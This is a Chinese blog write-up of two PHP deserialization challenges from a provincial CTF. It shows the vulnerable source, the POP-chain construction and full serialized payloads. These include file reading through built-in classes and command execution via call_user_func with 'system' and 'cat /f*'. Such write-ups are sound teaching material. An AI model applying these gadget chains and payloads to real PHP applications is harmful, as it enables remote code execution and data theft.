安小琪's blog

少年有梦,不应止于心动

浙江省省赛两道反序列化题wp

前两天参加了浙江省省赛,从预赛到决赛总共考到了两题反序列化,赛后复现学到了一些新知识,这里做下记录

反序列化的基础知识,之前已经在博客做过总结

php反序列化

常用魔法函数

常用魔法函数 定义
__construct() 在创建对象时候初始化对象,一般用于对变量赋初值。创建一个新的类时,自动调用该方法
__destruct() 和构造函数相反,当对象所在函数调用完毕后执行.即当一个类被销毁时自动调用该方法
__toString() 当对象被当做一个字符串使用时调用。
__sleep() 当调用serialize()函数时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这就允许对象在被序列化之前做任何清除操作
__wakeup() 反序列化恢复对象之前调用该方法.当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数
__invoke() 把一个实例对象当作函数使用时自动调用
__call() 当调用对象中不存在的方法会自动调用该方法。
__get() 在调用私有属性的时候会自动执行
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

第一道反序列化

搭了环境,感兴趣的师傅可以复现下,复现地址: http://www.npfs06.top:32789/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
error_reporting(0);
class A1{
public $tmp1;
public $tmp2;
public function __construct()
{
echo "Enjoy Hacking!";
}
public function __wakeup()
{
$this->tmp1->hacking();
}
}
class A2
{
public $tmp1;
public $tmp2;
public function hacking()
{
echo "Hacked By Bi0x";
}
}
class A3
{
public $tmp1;
public $tmp2;
public function hacking()
{
$this->tmp2->get_flag();
}
}
class A4
{
public $tmp1='1919810';
public $tmp2;
public function get_flag()
{
echo "flag{".$this->tmp1."}";
}
}
class A5
{
public $tmp1;
public $tmp2;
public function __call($a,$b)
{
$f=$this->tmp1;
$f();
}
}
class A6
{
public $tmp1;
public $tmp2;
public function __toString()
{
$this->tmp1->hack4fun();
return "114514";
}
}
class A7
{
public $tmp1="Hello World!";
public $tmp2;
public function __invoke()
{
echo "114514".$this->tmp2.$this->tmp1;
}
}
class A8
{
public $tmp1;
public $tmp2;
public function hack4fun()
{
echo "Last step,Ganbadie~";
if(isset($_GET['DAS']))
{
$this->tmp1=$_GET['DAS'];
}
if(isset($_GET['CTF']))
{
$this->tmp2=$_GET['CTF'];
}
echo new $this->tmp1($this->tmp2);
}
}
if(isset($_GET['DASCTF']))
{
unserialize($_GET['DASCTF']);
}
else{
highlight_file(__FILE__);
}

通过代码审计,选择A1类作为pop链的嵌入点

A8类作为pop链最终要调用的地方,A8类这里有一个

echo new $this->tmp1($this->tmp2);

存在可控类,想到可以利用php原生类进行路径和文件的读取

需要考虑的就是如何从A1类成功调用A8类,方法有两中,如下

pop1

1
2
3
4
5
6
$a = new A1();
$b= $a ->tmp1= new A3();
$c = $b->tmp2=new A5();
$d =$c->tmp1=new A7();
$e =$d->tmp2=new A6();
$f=$e->tmp1=new A8();

首先是A1类

__wakeup:反序列化恢复对象之前调用该方法.当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数

我们令$this -> tmp1 = new A3(), 这样在反序列化过程中触发__wakeup方法,从而调用了A3类的hacking方法,我们看到A3类

A3-> tmp2 = new A5() ,通过调用hacking方法,会跳转到A5的get_flag()方法,我们看到A5类

__call: 当调用对象中不存在的方法会自动调用该方法。

因为A5类中不存在get_flag()方法,因此会触发__call()方法,我们令$this->tmp1 = new A7()

那么接下去的$f()就是将实例对象A7作为函数调用,

我们看到类A7

__invoke() :把一个实例对象当作函数使用时自动调用

因为在A5中A7被当作函数调用,因此会触发类A7的__invoke方法,我们令$this->tmp2= new A6()

来到类A6()

__toString: 当对象被当做一个字符串使用时调用

A7的echo "114514".$this->tmp2.$this->tmp1;将A6当作字符串使用了,因此会调用A6的__toString方法,我们令$this->tmp1 = new A8()

成功调用了A8的hack4fun方法

序列化传参之后成功到达最后一步

1
?DASCTF=O:2:"A1":2:{s:4:"tmp1";O:2:"A3":2:{s:4:"tmp1";N;s:4:"tmp2";O:2:"A5":2:{s:4:"tmp1";O:2:"A7":2:{s:4:"tmp1";s:12:"Hello World!";s:4:"tmp2";O:2:"A6":2:{s:4:"tmp1";O:2:"A8":2:{s:4:"tmp1";N;s:4:"tmp2";N;}s:4:"tmp2";N;}}s:4:"tmp2";N;}}s:4:"tmp2";N;}

pop2

1
2
3
4
5
6
$a = new A1();
$b= $a ->tmp1= new A3();
$c = $b->tmp2=new A4();
$d =$c->tmp1=new A6();
$e=$d->tmp1=new A8();
echo serialize($a);
1
?DASCTF=O:2:"A1":2:{s:4:"tmp1";O:2:"A3":2:{s:4:"tmp1";N;s:4:"tmp2";O:2:"A4":2:{s:4:"tmp1";O:2:"A6":2:{s:4:"tmp1";O:2:"A8":2:{s:4:"tmp1";N;s:4:"tmp2";N;}s:4:"tmp2";N;}s:4:"tmp2";N;}}s:4:"tmp2";N;}

文件读取

接下去就是原生类的利用了

我们需要通过传参DAS和CTF,调用原生类

可以进行文件操作的内置类:

描述
DirectoryIterator 遍历目录
FilesystemIterator 遍历目录
GlobIterator 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag*
SplFileObject 读取文件,按行读取(默认只读第一行),多行读取需要遍历
finfo/finfo_open() 需要两个参数 PHP扩展类

首先通过内置类FilesystemIterator找到flag文件名

接下去就是要读取这个flag文件了,但是SplFileObject类只能读取第一行,通过测试发现文件中flag不在第一行,无法成功读取,比赛的时候就卡在这里了

新知识:SplFileObject类搭配伪协议可以实现多行文件内容读取

最终payload:

base64解密下就可以得到flag


第二道反序列化

复现地址 :http://www.npfs06.top:32791/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}

class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}

class A{
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}

这一题的链子比前一题简单,不过解题方法有两种

方法一

1
Test::getFlag()<- Fun:__call() <- A:__get() <- B:__destruct()

入口为B类

最终调用点为Test类的getFlag方法

链子如下

1
2
3
4
5
6
$a = new B();
$b = $a -> a=new A();
$c = $a-> p = '111';
$d = $b -> a = new Fun();
//$d -> func = array("Test","getFlag");
echo urlencode(serialize($a));

方法二

1
Fun:__call() <- A:__get() <- B:__destruct()

入口还是为B类,不过最终调用点为Fun类的__call方法

我们令B类的B -> a=new A(),B -> p="cat /f*",

这样echo $this->a->$p;就会调用A类,

A类的return $this->a->$p();,我们将$this -> a = new Fun(),这里的$p就是我们在B类定义的p值,$p后面加上括号,会被识别为方法

__call: 当调用对象中不存在的方法会自动调用该方法。

因为Fun类中不存在$p方法,从而会调用Fun类中的__call方法

__call方法中有call_user_func,并且参数可控,我们可以直接构造system('cat /f*'),

这里的$f变量不存在,并不影响system的执行

将Fun类的$this->func = system 从而直接实现命令执行

1
2
3
4
5
6
$a = new B();
$b = $a -> a=new A();
$c = $a -> p="cat /f*";
$d = $b -> a = new Fun();
//$d->func="system"
echo urlencode(serialize($a));

因为存在私有类

我们需要进行urlencode编码

PHP 序列化的时候 privateprotected 变量会引入不可见字符%00%00类名%00属性名 为private,%00*%00属性名 为protected,注意这两个 %00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚

方法一的最终payload为:

注意下,图中框着的地方要修改为大于2的数值

1
O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22p%22%3Bs%3A3%3A%22111%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A4%3A%22Test%22%3Bi%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7D%7D%7D

方法二的最终payload为:

1
O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22p%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D

也是一样,将元素个数2修改为大于2的值


关于上面为什么要修改元素个数的解释

最开始是以为修改元素是为了绕过fun类的 __weakup方法

但是最后发现,不论是否修改元素个数,最终还是会输出Don't serialize me

整不明白了,可能是php版本问题,等官方wp出来再补充